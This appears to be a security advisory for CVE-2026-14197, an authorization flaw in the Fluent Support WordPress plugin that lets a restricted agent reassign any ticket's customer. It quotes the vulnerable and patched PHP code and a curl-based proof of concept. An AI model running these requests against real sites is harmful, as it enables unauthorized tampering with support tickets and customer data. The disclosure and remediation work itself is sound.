Skip to content
FortressDiscuss your projectMenu

CVE-2026-14197

Fluent Support: Agent+ Arbitrary Ticket Customer Reassignment via IDOR

Product
Fluent Support (WordPress plugin)
Versions
Before 2.3.1 · fixed in 2.3.1
Severity
LowCVSS score 3.8 · WPScan
CVE
CVE-2026-14197, assigned by WPScan
Found by
Mustafa Ahmed, Fortress MSSP
Published
November 11, 2026CVE published by WPScan on August 1, 2026

Description

The Fluent Support WordPress plugin before 2.3.1 does not perform a per-ticket access check before reassigning a ticket's customer, allowing a restricted support agent to change the assigned customer of any ticket in the system, including tickets outside their granted scope.

From the CVE record · CWE-639 Authorization Bypass Through User-Controlled Key

Technical analysis

In 2.3.0, changeTicketCustomer() takes the ticket ID from the route and the new customer ID from the 'customer' request parameter, then runs an update on that ticket row directly. It never loads the ticket or checks whether the current agent may access it, so an agent can reassign the customer of any ticket ID, including tickets outside their visibility scope.

Vulnerable: app/Http/Controllers/TicketController.php, version 2.3.0
    public function changeTicketCustomer(Request $request, $ticket_id)
    {
        $ticketId = (int) $ticket_id;
        $newCustomerId = $request->getSafe('customer', 'intval');

        if (!$newCustomerId) {
            return $this->sendError(__('Invalid customer selected.', 'fluent-support'));
        }

        try {
            $updated = Ticket::where('id', $ticketId)
                ->where('customer_id', '!=', $newCustomerId)
                ->update(['customer_id' => $newCustomerId]);

            return $updated
                ? ['message' => __('Customer has been updated', 'fluent-support')]
                : $this->sendError(__('Ticket not found or customer already assigned.', 'fluent-support'));

2.3.1 requires the fst_sensitive_data permission, loads the ticket with Ticket::findOrFail() and calls ensureCanAccessTicket() on it before any change, so the per ticket access rule is now applied.

Fixed: app/Http/Controllers/TicketController.php, version 2.3.1
    public function changeTicketCustomer(Request $request, $ticket_id)
    {
        $ticketId = (int) $ticket_id;
        $newCustomerId = $request->getSafe('customer', 'intval');

        if (!$newCustomerId) {
            return $this->sendError(__('Invalid customer selected.', 'fluent-support'));
        }

        // Rebinding a ticket to another customer exposes that customer's private
        // data (profile, custom fields) through the ticket, so it requires the same
        // sensitive-data capability that gates the customer routes.
        if (!PermissionManager::currentUserCan('fst_sensitive_data')) {
            return $this->sendError(__('You do not have permission to change the ticket customer.', 'fluent-support'));
        }

        try {
            $ticket = Ticket::findOrFail($ticketId);

            $this->ensureCanAccessTicket($ticket);

Fortress’s reading of the public source code at the versions shown.

Proof of concept

As published by WPScan in its advisory on July 17, 2026.

Prerequisites (admin actions in Fluent Support): add a low-privilege WP user as an agent with a restricted permission set (e.g. only "Merge Tickets", assigned-only visibility, cannot manage tickets). A target ticket T exists, assigned to a different agent.

BASE="https://victim.example"
# 1. Authenticate as the restricted agent (WP cookie auth)
curl -sk -c c.txt -d "log=AGENT_A&pwd=PASS&wp-submit=Log+In&testcookie=1" "$BASE/wp-login.php"
# 2. Obtain the agent's wp_rest nonce
NONCE=$(curl -sk -b c.txt "$BASE/wp-admin/admin-ajax.php?action=rest-nonce")
# 3. (optional) prove no access: closeTicket on ticket T is rejected
curl -sk -X POST -b c.txt -H "X-WP-Nonce: $NONCE" "$BASE/wp-json/fluent-support/v2/tickets/T/close"
#    -> "Sorry, You do not have permission to this ticket"
# 4. Exploit: reassign ticket T's customer to an arbitrary customer id (parameter is 'customer')
curl -sk -X PUT -b c.txt -H "X-WP-Nonce: $NONCE" --data "customer=ARBITRARY_ID" \
  "$BASE/wp-json/fluent-support/v2/tickets/T/change-customer"
#    -> {"message":"Customer has been updated"}  (ticket T's customer_id is now changed in the database)

Step 3 confirms the agent has no access to ticket T (the access-checked method rejects); step 4 (the method missing the check) succeeds.

Severity

WPScan rates it 3.8 (low). CISA’s ADP scores it 3.8 (low) in the CVE record.

  • CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:NCISA ADP

Remediation

Update Fluent Support to 2.3.1 or later.

Disclosure timeline

  1. CVE ID reserved by WPScan.
  2. Fix committed to the plugin repository (r3609122).
  3. Version 2.3.1 released.
  4. WPScan advisory published.
  5. CVE published by WPScan.
  6. Published on this site.

Credit

Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.

WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.

References